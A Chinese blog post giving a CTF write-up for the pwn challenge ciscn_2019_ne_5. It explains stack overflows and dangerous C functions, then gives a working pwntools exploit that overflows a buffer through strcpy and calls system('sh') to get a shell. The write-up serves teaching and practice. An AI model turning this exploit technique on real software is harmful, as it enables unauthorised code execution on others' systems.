编辑
2023-04-25
pwn
00
请注意,本文编写于 638 天前,最后修改于 631 天前,其中某些信息可能已经过时。

目录

pwn & 简单栈溢出
知识背景:
case 1:
case 2
case 3
case 4
结合
exp
flag
总结

pwn & 简单栈溢出

知识背景:

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是

  • 程序必须向栈上写入数据。

  • 写入的数据大小没有被良好地控制。

    寻找危险函数

    通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下

    • 输入

      • gets,直接读取一行,忽略'\x00'
      • scanf
      • vscanf
    • 输出

      • sprintf
    • 字符串

      • strcpy,字符串复制,遇到'\x00'停止

      • strcat,字符串拼接,遇到'\x00'停止

      • bcopy

        这道题目主要利用的就是strcpy函数造成的栈溢出漏洞。

    确定填充长度

    这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式

    • 相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
    • 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
    • 直接地址索引,就相当于直接给定了地址。

    一般来说,我们会有如下的覆盖需求

    • 覆盖函数返回地址,这时候就是直接看 EBP 即可。
    • 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
    • 覆盖 bss 段某个变量的内容
    • 根据现实执行情况,覆盖特定的变量或地址的内容。

    之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程

老规矩,先查看文件:

image-20230404202907091

发现保护只开了NX,所以注入ret2shellcode基本不用想

image-20230404203022211

文件是32位动态链接文件。

所以将文件拖入ida32查看反汇编:

image-20230404203247145

image-20230404203324332

通过查看伪代码可以大概知道程序先通过检验输入是否为‘administrator’来决定是否继续执行程序,

然后有一个目录,目录下有四个函数,通过输入进行选择,执行完函数之后,有一个‘sub_804892B’函数,返回目录,重新选择,此处也是一个可以利用的点,第一遍执行先将payload输入到src中去,第二遍执行,再通过strcpy实现栈溢出。

先看文件中是否存在system函数和‘sh’字符串

image-20230404203557806

image-20230404203758238

发现system和‘sh’都存在那么就好做了。

先找栈溢出漏洞,可以看出栈溢出基本就在switch中的四个函数中了,一个一个查看。

case 1:

image-20230404204225461

往scr中写入128个字节长度的数据。

case 2

image-20230404204443753

打印‘s’数据,此处用不到这个函数。

case 3

image-20230404204523775

调用system函数,同时也说明函数中存在系统函数。

case 4

image-20230404204625752


结合

case 1case 4可知,由于dest先对于ebp的offset为0x48,而src的偏移为0xFC,所以为如果在case1中往src写入足够长的字符串,再通过case4将src复制到dest中就还可以进行栈溢出。

只需要覆盖dest的0x48字节以及pre-ebp的0x4字节,再填写需要执行的system(‘sh’)就可以拿到shell。

exp

python
from pwn import* context(log_level='debug',arch='i386',os='linux') #io=remote('node4.buuoj.cn',26941) io = process('./ciscn_2019_ne_5') io.recvuntil(b'Please input admin password:') io.sendline(b'administrator')#绕过strcmp io.recvuntil(b'0.Exit\n:') io.sendline(b'1') system_addr =0x080484d0 #此处system函数地址只能填写第一个地址,第二个地址会报错,原因大概是0x080484d0直接跳转到system函数的plt地址,直接执行,而0x80486b9执行的是call system命令,会有一个压返回地址和ebp的操作,然后跳转到system的plt地址执行。 binsh_addr = 0x080482ea payload = b'a'*(0x48+0x4)+p32(system_addr) +b'abcd'+ p32(binsh_addr) #此处 io.recvuntil(b'Please input new log info:') #gdb.attach(io) io.sendline(payload) io.sendlineafter(b'0.Exit\n:',b'4') io.interactive()

flag

image-20230404211210507


总结

本题主要思路就是仔细查看汇编与伪代码,找出其中可利用的段达成溢出,输入自己的构造的payload,然后就可以获取到shell拿到flag。

作者新手一枚,文章如有错误还请多多包涵。如果各位Dalao能够指出错误,那就再好不过了,红豆泥私密马赛!

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!